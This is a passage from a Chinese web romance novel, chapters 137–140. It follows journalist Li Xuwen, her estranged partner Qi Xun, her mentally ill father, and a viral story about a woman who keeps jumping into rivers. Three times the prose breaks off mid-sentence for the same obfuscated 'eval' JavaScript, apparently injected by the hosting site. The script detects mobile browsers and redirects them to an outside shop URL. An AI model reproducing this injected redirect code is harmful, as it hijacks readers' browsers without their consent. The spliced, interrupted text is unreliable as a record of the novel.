这个道理他知道,黎叙闻也知道,但对面的当事人肯定不知道,所以反应才会这么大,这都不奇怪,奇怪的是那个副队长。 现在媒体名声这么差,他还没见过哪个非政人员面对这种冷冰冰的诘问能这样面不改色,丝毫不作指责和怀疑的。 就好像无论黎叙闻说出什么,他都相信她不会徇私,也相信她会站在救援队这一边。 摄像大哥无声地笑了笑。 这两个人,有点意思。 …… 采访结束,小熊多一眼都没看她,起身就走。 齐寻皱了下眉,也站起来:“二位辛苦,晚上一起吃个便饭?” “不了,”黎叙闻低头收拾东西:“我们赶时间。” 摄像大哥拆了机器,道:“小黎我先去放东西,你慢慢来。” 说完扛着三脚架和摄像机就跑了。 他一走,会议室里原本通畅的气息陡然凝固下来。 黎叙闻目不斜视,往文件夹里塞东西,而齐寻就站在会议桌对面,一瞬不瞬地望着她。 密实的空气里好像随时会卷起一场疾风骤雨,可谁也不知道它会如何开始。 最后,还是齐寻打破沉默:“刚销假就这么忙?午饭吃了么?” 黎叙闻仍垂着眼,没回答,却转而说:“去跟小熊解释吧,还有,你也……”她莫名顿了下,改口道:“你跟纪队说,叫他不用担心。有我在,不会让微光有舆论问题。” 齐寻隔着桌子注视她,眉眼软了一瞬,故意道:“他不担心,担心的是我。” 听他得了便宜还卖乖,黎叙闻抬头斜睨他一眼,冷笑:“那可不关我的事。” “那什么才关你的事?”他又问:“我谁也不想找,只想跟你在一起,这关你的事吗?” 黎叙闻把最后一张纸放进文件夹,握着又凉又硬的塑料壳,慢慢站了起来。 “我?”她无阻无拦地跟他对视,眉眼凉薄:“你认识我是谁吗?” 她眼里似有冻住的火光:“你眼里的那个人是谁,你自己都未必知道。” 齐寻绕过桌边站到她面前:“无论你承不承认,我心里眼里,从来没有过第二个人。” 他说话时微微抬了抬手,最后却没去拉她。 而即便如此,他还是把两人的距离压得极近,近到她可以听到他浅而急的呼吸。 黎叙闻面色空茫地盯了他半晌,指尖凉得发硬,不由自主地在身侧轻轻蜷起。 良久,她兀自笑了。 “你根本不知道我在说什么。” 她后退一步,两人之间再度裂出一条鸿沟。 “我不需要你来爱,”她眼中闪着寒星:“你的爱是什么了不起的东西,买得起我的自尊?” 会议室中太安静,静得这一句像骤然炸响的惊雷。 齐寻始终望着她的眼睛里,有什么东西被这一声炸成了齑粉,纷纷扬扬,瞬间把黎叙闻淹没了。 她垂下视线,把文件夹抱在胸前,冷声道:“留步吧,齐队长。” …… 出了会议室,摄像大哥早在等她,见她脸色不对,没问别的,说:“直接送你回家?” 黎叙闻看了眼时间,笑着问:“家属那边还得去一趟,跟我去加个班?” “这种犄角旮旯的报道,也这么拼啊。” 这新闻太小,没有别的媒体愿意浪费时间,多一天延宕,救援队就多承受一天污名,小熊伤心不说,他也…… 黎叙闻靠在副驾上闭了下眼:“采完得了,省得明天再跑一趟。” 亡者遗属住在城南,家里办着丧事,但还是抽空把事情的前因后果都详细讲述了一遍,连付款记录都给黎叙闻看:“我说要给他们转个饭钱,他们都不收。” “拜托您,一定还原真相,不然我们家里都不安宁的。”遗属送他们出门,仍不停叮嘱:“那个小兄弟……受苦了。” 黎叙闻在回到家之前,就在车上把视频剪完、报道写好了。 “咱社里的某音账号绑的谁的卡?”她目不离屏幕:“是公用的那张?” “不知道,做什么用? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404056|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 黎叙闻正埋头研究豆荚:“买营销。” 摄像大哥笑了声:“今天那个副队长就是你老公啊?” 黎叙闻豁然抬头:“啊?” “是不是两口子很明显的”摄像笑道:“一进门的肢体动作,你俩看对方的眼神,活脱脱闹了别扭的小夫妻。” 黎叙闻:…… 她板着脸,无谓挣扎:“谁是他老婆。” 大哥来劲了:“嘿,跟我媳妇闹起脾气来一模一样。你别说,”他偏头看了眼她:“你俩啊,般配。” 黎叙闻简直要被气扁,手一抖买了最贵的豆荚。 ……这钱就该那狗男人报销! 十倍报销! 城南离她家太远,中途又遇上事故,黎叙闻生了一会儿闷气,迷迷糊糊睡着了。 不知道睡了多久,她从黑甜中被人拍醒。 “小黎?别睡了,”摄像拍她:“来活儿了。” 她恍惚着睁开眼,见已经到了她家小区门口。 小熊站在门口,手里拎着个保温桶,一脸无措,一瘸一拐地原地徘徊。 黎叙闻叹了声:“……行吧,今儿晚上是不得安宁了。” 说着整理了下表情,一拉车门下了车。 见她从车上下来,小熊表情慌乱了一瞬,紧接着切换成了讨好:“闻姐,才回来呀?” 黎叙闻面无表情:“可不是,为了个小没良心的奔忙,还搭了好几百的白事钱。” 小熊挠着头赧然道:“对、对不起啊。” 到底年轻,沉不住气,明知道闻姐站在他这边,可一被镜头怼脸他就禁不住问。 “我没有不信你,我就是……就是太害怕了。”他舔了下嘴唇,低下头:“白蛇骂过我了。” 何止骂,还让他扫厕所、洗装备、沿着训练场蛙跳了五十圈。 要不他也不能瘸了。 他嗫嚅了一阵,把保温桶递给黎叙闻:“那个,你还没吃饭吧,这个,我,我做的……” 黎叙闻觉得新鲜:“你还会做饭?” 她打开保温桶,一阵浓郁鲜香的气息扑面而来。 金黄的鸡汤在路灯地下晃着油汪汪的光,葱花嫩嫩地漂在上面,像漾在水面上的鲜绿的小船。 一阵风吹过来,香气乘风溢出,保安亭里值班的保安都没忍住,探出头看了一眼。 这个味道,倏而把黎叙闻带回了那个她差点烧了厨房的晚上。 那是他住进家里的那天。 “谢了。” 她盖上盖子,不容自己再往下想。 沉默了一阵,她又道:“小熊啊,这次的无妄之灾,只要你还在做救援,就永远会发生。” “我知道。” “那下次呢,”黎叙闻看着他:“下次,还做吗?” “做啊。”小熊在灯下抬起那张年轻的脸:“哪怕误解我一千次,一万次,我都做。” …… 寒凉的夜风绕过掩映在街角树荫里的牧马人,送黎叙闻进了家门。 她连衣服都顾不上换,把刚刚录下的那句至关重要的话剪出来,贴进了某音的视频里。 她想了想,一咬牙,又买了个最贵的推广,顺便把账单截图发给了小熊。 叙我所闻:让纪队有空报一下 熊爷:别啊闻姐……微光穷成什么样了你又不是不知道…… 叙我所闻:没钱就去卖身 小熊哭丧着脸锁了屏,回头问驾驶座上的齐寻:“怎么办啊,闻姐让我去卖身。” “你能卖几个钱,”齐寻嗓音冷淡:“多卖几次。” 小熊嘿嘿笑了,凑过来又问:“鸡汤米线还有剩的吗?给我喝两口呗?” 齐寻斜睨他一眼:“你有功了是么还吃米线?滚蛋。” 犯了个贱浑身舒爽,小熊靠在椅背上,没心没肺笑了一阵,才问:“你跟她吵架啦?” “……不该问的别问。” “除了我爸妈,你们是对我最好的人了,”小熊道:“你们要吵起来,我不知道该帮谁。” 齐寻不看他:“知道就老实点,别招事儿,连累你闻姐。” 小熊嗯了声,安静了好一阵子,又道:“你去给闻姐低个头嘛,快和好吧……我学装修学得差不多了,说话算话,毛坯房我给你装,你们一点心都不用操。装好之后,你跟闻姐就在里面过逍遥日子。” 齐寻垂着眼睛,盯着方向盘中间的车标。 如果低头有用,他怎么低头都行,可今天她临走的一句话实在太绝情。 跟他在一起就意味着放弃自尊么? 如果是这样,如果自己带给她的只有痛苦,那他是不是该…… 他抬头看楼宇间亮起的某一扇窗。 那里面灯光一片青白,跟夜半的月色一样冷。 138. 第 138 章 把小熊送回去,齐寻没回家,而是绕远,去了趟疗养院。 进入十一月,京屿好像忽然就跳入了初冬。 病区安静得像才下过雪,黎策穿着秋衣秋裤坐在床边,望着他笑。 他身上穿着新买的保暖内衣,是齐寻跟闻闻去锦城之前给送来的——从库萨回来后,黎叙闻来探视的次数明显多了,可每次来都很少跟爸爸说话,两个人就默默干活,干完了就回家。 那时候黎策拿着衣服跟护士炫耀,护士称赞他们孝顺,说老黎有这样上心的女儿女婿,真是有福气。 黎策立刻道:“什么女儿女婿,这是台里发的!”过了十分钟,还追着人家护士凶巴巴地:“我女儿不早恋!” 当时黎叙闻的表情,齐寻到现在都不忍心回想。 齐寻把带来的水果洗了,放在床头柜上,而黎策仍然眯着眼睛看着他,没有搭话的意思。 看来还没决定今天给他安个什么身份。 精神病人的世界有着一套自己的运行逻辑。黎叙闻来看他总是在饭点,会顺便给他带饭,所以她是发盒饭的后勤官,而齐寻最近总是跟她一起出现,他便自作主张,让齐寻给她当副手。 可今天黎叙闻没来,就副手自己,他就反应不过来了。 齐寻主动道:“后勤官今天开会去了,让我送水果来。您从防空洞出来了?” 黎策眼珠慢慢转了转,终于笑了:“我就说……对,昨天轰炸结束,都出来了。”说着,他还伸着脖子朝门口瞧:“开会要开一整天啊?她还来不来了?” 齐寻心里酸了一瞬,道:“嗯,开一整天,过两天她就来给你送台里发的东西。” 跟黎策说话很有讲究,不能说“来看你”或是“照顾你”,不然他分分钟急眼——战地记者怎么能让人费心照顾,他是战场自由人,是人道主义最后的防线,合该他照顾别人。 “噢,”黎策点点头,问:“上次跟她说了,让台里再带个玩偶吉祥物给我,她记得没有哇?” 齐寻神色一顿。 吉祥物应该是那个胖乎乎的玩偶娃娃,黎策一直说长得像闻闻,逢人就给显摆。上次他们过来,黎叙闻说这个脏了,回头跟台里申请,给他发个新的,把旧的那个带走了。 离开之后她连门都没出,直接把娃娃扔进了医院的医疗废料里。 齐寻看着黎策期待里带着焦急的眼神,心头忽然升起了个不合时宜的念头。 闻闻从来没当着他的面叫过“爸爸”,他知道她这是她的心结,所以也跟着她,不和黎策讲话。 可现在…… 心脏蓦地没来由地加速,齐寻咽了咽,单手撑住黎策的肩,这一声像年久失修,太不熟练,顿了半晌才喊出来:“爸?以后……我可能就不来了。” 黎策怔愣着盯住他,好像在思索自己到底有没有这么大的儿子,半天才道:“我只有一个女儿啊,你……” 齐寻深深吸了口气,慢慢泄了,道:“我跟闻闻结婚了。” 黎策瞪大眼睛,抬手一把打掉他的手:“你放屁!我女儿还没成年呢!” 这一声像雷鸣惊飞鸟雀似地,惊飞了病区的寂静,周围病房中的病人开始嚎叫、辱骂、絮叨、哭泣,活像炸开了炼狱的盖子。 齐寻不为所动,目光平静地看着他:“她天天来看你,是你不认她。” 走廊上护士和保安的脚步声纷至沓来,门外一时敲栏杆的哐哐声和撕心裂肺的挣扎声混作一团,煌煌地往人耳朵里灌。 而黎策像没听见似地,不知是被震傻了还是什么,一言不发地盯着他瞧。 半晌,他在鸡飞狗跳的环境音里,忽然咧开嘴笑了。 “那你呢?”他轻声说:“你就认识她吗?” 在听清这句话的一瞬间,齐寻感觉自己的血都被冻住了。 他们总是居高临下,把黎策当成一个不必避讳的树洞,或是无法反抗的动物,殊不知所有的真相早就被对方不着痕迹地洞悉。 或许是黎叙闻独自来过,反正他不会泄露秘密,所有她碍于面子无法倾诉的事,都可以跟他讲。 他没有办法再保护她,没办法再给她建议,可至少,他是爸爸。 而齐寻在电光火石之间,意识到了另一件更重要的事。 ——黎策没有全疯。 至少有一部分,哪怕是极其微小的一部分神智,可能仍在他身体里活着。 平时这部分也许一直在沉睡,但他保护女儿的本能还在,只是他除了那么一句没头没尾的诘问,也做不了其他的了。 明白了这个事实后,齐寻的脑子里有一个极小的齿轮,忽然咔地一声,转出了一个意料之外的弧度。 既然他还有理智,既然他还能醒来,那是不是意味着,他也记得大地震时发生了什么? 那时候他在哪,闻闻在哪,当时到底发生了什么,他是不是…… 是不是全部都记得? 寒凉冬夜里,齐寻穿着一件单薄的卫衣,身上骤然乍起了一身热汗。 他双手不断地握紧,又松开,再握紧,却无法抑制失速的心跳分毫。而黎策说完石破天惊的一句,似乎又陷进了不知何夕的时空里。 齐寻扶着他坐稳,双肘撑着膝盖,十指在腿间交握,盖住自己汗湿的手掌,盯住他的眼睛:“黎记者,我们要做个锦城大地震十周年的采访,你、你方便吗?” 也许是他的错觉,黎策的眼睛短暂地亮了下。 “方便。”他整了整衣领:“什么时候?” 齐寻心脏都快跳出来了:“现在。” 黎策肃着脸点点头:“怎么找上我了,不去找谢队啊?” “谢队是谁?” “你们什么业务水平?”黎策突然翻脸了:“案头工作都没做?谢队是谁?是当年京屿的消防队长!” 他脸色又慢慢缓和下来:“我好兄弟,穿一条裤子的好兄弟!你去了提我名儿,他一定来。” 说着说着,又出了神:“哎,老谢……怎么感觉好久没见到了……” 他就这样状似平常地揭示了一条惊天线索,一条齐寻一直以来求而不得的证据! 齐寻感觉自己呼出的空气都冻成了一团,艰难地咽了咽,又道:“我会去找他。黎记者,请问那个时候,你在哪里?” 黎策还生着气,张嘴刚要回答,答案却像是噎在了嗓子眼,把他整个人都噎得卡壳了。 他瞪着一片阴翳的眼睛,喉咙里发出“啊啊”的气声,顿了良久,忽然换了副面孔,笑嘻嘻道:“那时候啊,我在梦里。” 齐寻五脏六腑就地降落,心脏吧唧一声摔在地上。 “哦~在梦里~”黎策手舞足蹈地唱起来:“梦里!梦里见过你~” 喑哑的歌声招来了门外一大片疯狂的嚎叫和骇人的笑声,引得护士面色不虞地进来:“齐先生,病人状况不太稳定,要不你早些回吧。” 齐寻在护士责备的目光下坐了片刻,终于疲惫地站起身,走到门口,又回头问:“那时候……闻闻真的不在锦城吗?” 黎策笑眯眯看着他:“下次后勤官不来,你也别来了。” …… 直到打开许久没回的家门,齐寻都还陷在对自己的厌恶里面,无法自拔。 ……他到底干了什么。 不说对方是闻闻的爸爸,是他的岳父,就算只是个素不相识的病人,他都不该有这样算计的心思。 邻居家堪称辉煌的夜灯从窗外泼进来,齐寻站在门口,盯着地上一层霜一样的亮光,一动不动。 所以今天的那些话……能信吗? 那个瞬间他到底是清醒的,还是在疯癫地耍人玩? 但即便被耍,齐寻也别无选择了。 只要能找到那个谢队长,就能问出当年黎策有没有去震区,有没有带着小女儿,有没有…… 有没有救过他。 只要能找到那个人,能证明他说的一切都是真的,是闻闻的记忆出了问题,那横在他们之间的天堑就会瞬间瓦解,那他十年的寻找和等待就不至于变成一个一文不值的笑话。 这是他唯一的机会。 这个念头像一颗信号弹,在他沉黑的脑海中骤然升空,炸出了漫天白光。 他动作慌忙地去摸兜里的手机,点开微信打了两个字,嫌慢,直接拨了小熊的电话:“你跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410676|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消防那帮兄弟,还联系吗?” 小熊不明所以:“啊,经常一块打王者啊,咋啦?” “你帮我查个人,锦城大地震的时候去过震区,”齐寻语速从没这么快过,声音竟含混起来:“姓谢,是当时的消防中队长。” 小熊愣了下,叫起来:“这怎么查,人家档案都是封存的,我——” 齐寻啪地挂了电话。 发泄完这一通,他像脱力了似地,把手插进头发里,慢慢地蹲在了地上。 毛坯房像个丑陋但忠诚的伙伴,在一众豪华立面和融融暖光里,黑而沉默地陪着他。 不,现在还不是放弃的时候。 这跟救援大概是差不多的道理,有时候逼着自己再进一寸,再忍一刻,说不定就会有转机。 良久,他缓缓就地坐下,打开箱子,伸手摸了一阵。 触之所及都是绵软的衣物,还有棱角分明的笔电和工作站。 他把手臂更向里伸去,怎么摸,都没摸到那个让他安心的物件。 ……小猪呢? 小猪呢?? 他一把将箱子推倒,把里面的东西一件不剩地倒出来,所有的家当散了一地,行李里有什么一目了然,偏偏不见那个存钱罐。 齐寻蹲在地上翻了一阵,思索再三,打开微信置顶对话框,没说话,先点了个转账。 转账界面跳出来,显示“转账给叙我所闻(**闻)”。 ……还好,至少没被删掉。 他舔了舔嘴唇,给黎叙闻拨了个语音。 铃声响了将近一分钟,那边才接起来,语气冷淡:“有事?” “嗯,”齐寻绷住了声音,问:“到家了?” 那边语带嘲弄:“我到没到家你不知道?” 齐寻:…… 他真是疯了才会觉得闻闻能让他那点伎俩骗过去。 他捏了捏眼角,重重出了口气:“你收拾行李的时候,看见我的存钱罐了么?” 黎叙闻像听了什么笑话似地,冷冷笑了一声:“怀疑我藏你东西?我缺你那点钱?” 没等齐寻一句“不是”出口,她就先发制人,挂断了电话。 挂了还不解气,抬手把手机远远扔到对面沙发上,嘭地一声。 茶几上的小金猪咧着红彤彤的小嘴看她,笑她言不由衷。 “笑什么?”她面无表情地曲起手指,弹了小猪一个爆栗:“你是人质你知道么?还笑?” 怀里的小狗以为小金猪惹妈妈生气了,狐假虎威地冲着它嗷嗷了两声,回过头来,温热地舔舐她的掌心,抬起湿漉漉的豆豆眼望着她。 黎叙闻心里一软,把它柔软的身体举起来,蹭蹭鼻头,问:“想爸爸了?” 小狗哼哼唧唧地歪着脑袋,也不知道听懂了没。 黎叙闻把它重新揉进怀里,视线远远落在踢脚线暖茸温黄的夜灯上。 “可我有点想他。” 她当然知道还有余地,甚至都不用做什么,只要主动跟他说一句话,这场未遂的分手就结束了,曾经那些如珠如宝的日子,会一刻不停地向她奔来。 可她实在回不了头。 她不想每天早上醒来,看见枕边人,都会想起自己不过是个替身,不想在缠绵时听见他叫她的名字,还要思索他眼里的究竟是谁。 更不想每到幸福甜蜜的时刻,那个致命的念头总会像一盆冷水一样向她当头泼来—— 黎叙闻,这些真的是给你的么? 如果你只是个脾气又臭、说话又难听的调查记者,还会有人爱你么? 如果你只是你自己,还会有人愿意看你一眼吗? 她会被这个念头日夜折磨、辗转反侧,会在每一个莫名其妙的时刻草木皆兵,磋磨他也磋磨自己,直到他们以为的不可动摇的爱意被消磨殆尽,相看两厌、面目可憎。 光是想想,后脑处的某根血管都像被针挑了似地突突作痛。 长痛不如短痛,这是她从妈妈身上学到的道理。 她捶着后枕愣了一阵子,拿出手机,拨通了小茉的电话。 “今天你说的那个跳河的疯女人……资料发给我吧。” 139. 第 139 章 原本以为就是个惊鸿一瞥的猎奇新闻,可她打开资料包才知道,这件事早就超出了她的预料。 一开始确实简单:有个四十出头的中年女人,在十一月的京屿跳河玩。 路人以为她要寻短见,踩着河堤拉她上来,没想到她穿着浸透了水的毛衣,笑嘻嘻地看了周围一圈,转头又跳了。 就这么来回三次,第三次她爬上来,终于裹上了外套。 寒冬腊月,她浑身冷得发抖,头发贴在浮肿的脸上,让冷风一吹,嘴唇一片青紫。 旁人以为她终于消停了,却没想到她环视了一周,突然哇地哭了。 “刚那个人呢?”她一边抹眼泪,一边拖着咯咯打抖的牙关喊:“说……说好了跳了就、给我买肯德基,人呢!” 因为人命关天,当时围观的人很多,视频被发到网上,她最后一句带着颤音的哭诉,一时间响彻了每个角落。 大众的同情和义愤填膺同时被激起,人们一边怜悯为了一顿肯德基就跳河的女人,一边花样辱骂那个根本没出现过的、指使她跳河的路人——什么狗比东西,一顿肯德基,就想要人的命? 可没两天,又一段视频被发出来,整件事彻底反转了。 当时有个小剧组正在河边取景,镜头明明白白地拍到,那个中年女人早上十点到了河堤上,独自坐了几分钟,十点零五就脱衣服跳河了,别说骗她吃肯德基,这几分钟里,根本没人接近过她。 她就像在那五分钟里得到了某种神谕似的,衣服脱得利落,跳水也跳得毫不犹豫。 “你们看那!”有人发出一张视频截图,圈出了河面上一点雾气:“那是不是有个冲岸上招手的人影??” 原本一个不起眼的插曲,眼看着就要往灵异的方向去了。 这种事件最容易刺激人心,就在大家疯传都市传说的时候,这女人梅开二度,找了个地方又跳了。 这次她上来后,身上滴滴答答滴着水,专找举着手机拍她的人,上去就是个熊抱:“你说要请我吃肯德基的。” 好了,现在事情再明白不过了:这个自称“叶娟”的女人,是个疯子。 有好心人给她转钱,她也拒绝,给她买肯德基,她吃两口就跑了,这个人好像什么都不图,唯一的目的就是跳河,然后上来问人要肯德基。 而且她简直力速双A,只要见势不对,觉得有人想拦她或者跟踪她,她立刻就会撞开对方,然后一溜烟逃跑,旁人根本抓不住她。 既然是疯子,不是人性的扭曲也不是道德的沦丧,那就没什么好关注了。所以她跳了几次后,渐渐便无人在意了。 第二次高峰,来源于她一个奇怪的操作。 京屿今年冷得很早,过了十一月,天就一直阴着脸,终于在中旬的某天,片片悠悠飘起了雪。 这个叫叶娟的女人,就在初雪的这一天,穿着一件薄透的T恤,又跳了。 狼狈地爬上岸之后,她湿漉漉的头发顶着细密的雪粒,毫不避讳T恤完全被浸透,湿淋淋地贴在肉上,仍问路人要肯德基。 肉色透过湿水的布料,就这样大喇喇地展示在所有人面前。 她臃肿垂坠的身体自然没那么好看,可大众不就喜欢围观这种丑态吗? 这下可缺了大德了。 某音某手小某书的网红们把她当成了个新的打卡点,不管谁拍到她都要合影留念,也编了很多关于她的凄惨经历,有说她是被老公虐待傻的,有说她是因为死了孩子,还有的说是因为欠太多钱还不上所以疯了。 总之真相总是任人打扮,发布的人需要什么,什么就是真相。 黎叙闻看着嘈杂的人潮和人潮中心的叶娟,愤怒和好奇抱着团,同时跑进她的心里。 这样把镜头明晃晃对准一个没有行为能力的人,让她像动物园里的动物一样被围观,跟虐待有什么区别?媒体真就沦落到吃这种人血馒头的地步了? 可是她怎么办,不拍了? 流量时代,你不拍有的是人上赶着拍,身为媒体人,她的工资就是挨骂补贴。 而且这是她亲口要的选题,不合心意就撂挑子,真当她是什么商报千金吗? 黎叙闻坐在冷白一片灯光里,仰天长叹了一声,认命地加了小茉发来的线报群。 原以为这就是极限了,可几天后她去跟现场,才发现自己简直天真。 那天线报群里弹出消息,说叶娟在青山公园出现了。 这一声简直是冲锋号角,群内各大媒体几乎倾巢而出,淡季灰扑扑的公园里,硬是被衬托出了一种反季的繁荣。 等黎叙闻赶到园内护城河岸边,远远就看见河岸旁光秃秃的树下,围着一大团耸动的人头,像被糖吸引而来的蚁群。 来围观的远不止媒体,周围有很多年轻人成群结队,举着手机凑在一起,叽叽喳喳的,鲜妍的面孔加上高声的谈笑,俨然把这里变成了郊游现场。 黎叙闻试着挤了挤,发现根本挤不过去,在人群里挤出了一身汗。 她苦笑着摸了摸冒着热气的头顶,终于放弃,转而观察起周围郊游的小年轻来。 他们脸上带着一种志得意满的笑容,举着手机,正忙着越过人群对焦,而摄像头焦点对上叶娟的一瞬间,屏幕上出现了一只巨大而丑陋的恐龙,而后恐龙突然爆炸,爆出一阵令人应接不暇的红包雨。 人群爆发出一阵欢呼,夹杂着几声:“该我了该我了,看她能爆几个金币出来!”,引得无数人侧目。 黎叙闻怪好奇的,凑过去问:“这是什么?是什么活动吗?” 那群小年轻倒很好心:“你在微信里搜一个叫‘白日梦想家’的剧本杀小程序,那女的,看见了吗?”他们七手八脚地给黎叙闻指点迷津,嬉笑道:“是新加的随机刷新boss!扫她就有钱可以领!” 黎叙闻眉心抽动了一瞬,心口火苗蹭一声烧着了。 她按下不适,又问:“能领多少钱啊?” “几块钱吧,”头发半长的小年轻头也不回道:“要是能扫到关键部位,能拿几十呢!” “关键部位?”她懵然道:“什么关键部位?” 小年轻抬头看了看她,笑嘻嘻道:“姐姐,咱不好跟你说啊。” 不好说,但又什么都说了。 黎叙闻想起很小的时候,街边那种玩飞镖的小摊,靶子是个稻草人偶,射中胸口能得一包糖,射中眉心能赢一个面包。 时代在进步,拙劣的游戏包装成了AR,稻草人偶换成了真人。 她下意识抬起头,远远去看那个被围在中间的人偶。 叶娟有一张圆脸,大冬天还泛着质朴的红,大眼袋,额前耷拉着油腻腻的刘海,头发打着绺堆在肩头,裹着一件厚重棉服,更显得她体积可观。 这时候她忽然转身,竟对上了黎叙闻的视线。 然后她隔着中间嗡攘的人群和无数长枪短炮,露出了一个微笑。 这个笑不太像她在视频里惯常的那种嬉皮笑脸,而是某种讨好的、得偿所愿的笑。 对视只持续了一瞬间,叶娟忽然脱掉衣服,还穿着那件已经发灰的薄T恤,在所有人和镜头的注视下,在黎叙闻复杂而缄默的目光里,大喊着“我要吃肯德基!”,纵身跃入了冒着寒雾的护城河。 …… 有了这句slogen,当天的视频更是病毒式传播,各种主播博主UP主物尽其用,无论什么样的起承转,最后都能合到“我要吃肯德基”上,叶娟一跃而下的动图更是成为必不可少的发疯表情包,一时间这个梗铺天盖地,肯德基恐成最大赢家。 当然也有不同的声音,有一些同情她的言论,请求网警出动调查,看看她是不是被胁迫的,可这些评论太分散,一下子就被冲散在了洪流中。 黎叙闻为了了解事件发展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414358|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也成日里刷某音某手,短视频十个有八个都是叶娟的配音,灌得她满耳朵都是那句话配上罐头笑声。 本想赶紧写完稿,吃一波热度就赶紧回归正常选题,谁知在这场怪异的狂欢里,她迎来了一个意料之外的转机。 那天开完会回到编辑部,只见对面组无论编辑还是记者都三三两两围在一起,眼神都时不时往那间玻璃门的小会议室瞟,不时还掩嘴嬉笑。 黎叙闻有点纳闷,但最近她实在对人群过敏,绕回工位想躲个清净,不成想季筝从小会议室里探出头来,隔着整个编辑部叫她进去。 黎叙闻眼皮直跳,直觉不是什么好事,硬着头皮应了声,拖着身子一步一停地去了。 一进会议室,她总算知道那种“今天要倒血霉”的感觉从何而来了。 圆桌对面坐着三个男人,一个四十来岁,一道眼光过来就知道他比猴儿都精,一个跟他年纪相仿,稍稍发福,感觉挺面善。 另一个…… 是齐寻。 黎叙闻在自己的地盘看到齐寻那张熟悉而沉静的脸时,感觉天都塌了。 这人怎么回事! 都说了结束了,还巴巴追到报社来,要是在这当着季筝的面闹起来,她以后还怎么做人? 而齐寻的视线不遮不掩,坦然地望向她,里面有一些不易察觉的颓然。 可能是她的脸色过于斑斓,季筝轻咳一声:“这是我们商报的王牌,调查记者黎叙闻。”又转头对她道:“这三位是一个电影项目的主创团队,电影涉及到记者这个职业,想请你做他们的专业顾问。” 黎叙闻木着脸:“感谢信任,能从这么多记者里面挑中我,真是荣幸。” 那精明的男人是制片人,闻言笑道:“我们这项目投资大,选人都是多方面考虑的,好几个传媒大佬都提到了你的名字,我们就想着来碰碰运气。” 黎叙闻面上谦虚着,心里却莫名踏空了一级。 所以……其实不是他带他们来的,而是通过正常的遴选定下的顾问人选? 是她自作多情了? 面善的男人语气带着文字工作者特有的腔调:“久闻大名,终于见到真人了,你的报道我都拜读过,对写剧本也很有帮助!” 这两个击鼓传花似地问候恭维,终于把接力棒传到了齐寻手上。 其他四个人的眼神都落在他身上,不同的是其余三人只是在等他开口,而黎叙闻的目光里,警告和闪躲混成一片,还夹杂着些说不清的期待。 齐寻看着轮廓更锋利了,神色淡淡地对她一点头:“黎记者,你好。” 黎叙闻:…… 制片插话给她介绍:“啊,这位是我们项目的声音指导,业内非常有名的录音师。” 黎叙闻看着齐寻的脸,忽而觉得割裂:这个在她面前对她极尽包容、甚至称得上纵容的人,在外有这样一副高高在上的冷淡面孔,却没任何人觉得他无理。 他们靠得太近,纠缠太久,久到她甚至不记得齐寻原本就是一个优秀的人,优秀到所有人都可以包容他的冷淡和倨傲。 所以呢,所以他就可以在她身上玩一手李代桃僵,随意给她安一个身份,然后闭着眼爱她? 凭什么? 一阵沉滞的抗拒蓦地窜上来,她低下头,迅速眨了下眼,再抬头时表情已无破绽:“辛苦三位跑一趟,我最近……” 拒绝的话尚未出口,手机就先叮铃一响。 马颂今的名字大喇喇杵在屏幕上,黎叙闻解锁一看—— 马颂今:那几个搞电影的到了? 马颂今:人家出手可是大方,就冲着你来的,敢拒绝腿给你打断! 黎叙闻:……………… “我最近正好不太忙,”她面不改色地微笑改口:“那咱们商量一下怎么合作?” 什么富贵不能淫,一定是家里没有一个难搞的大爹! 140. 第 140 章 一小时后讨论告一段落,对面编剧和制片商量下去抽根烟,齐寻一言不发,也起身跟他们一起出去了。 黎叙闻一边腹诽怎么大男人也手拉手上厕所,一边去了茶水间,想泡点咖啡醒醒神。 一进去就看到正开柜子拿纸杯的齐寻。 她第一反应就是转身逃跑,但脑回路峰回路转,又想,这是我的地盘啊,我跑什么? 再说,该愧疚心虚的人也不是我。 于是她脸不红心不跳,拆了另一筒没开封的纸杯,鼻观口口观心地站在一边,不说话。 但咖啡机隆隆的声音始终没响起来。 黎叙闻低着头,纸杯周围的一圈卷边被她摧残得全部翻起来,像一圈七上八下的浪花。 她知道齐寻在看她。 他的目光总有种独特的温度,哪怕从泱泱人群中看向她,她也能第一时间感受到其中的热度。 可这种默契,此时此刻却成了折磨。 因为她只要稍一抬头就会对上那道视线,那么她还没消解完的思念和不舍,一定会通过眼睛出卖她。 然后又会是一场无止尽无意义的拉扯。 她无声地缓缓抽了口气——不能在这里闹起来。 这时候,茶水间外响起小茉和另一个编辑说笑的声音,由远及近。 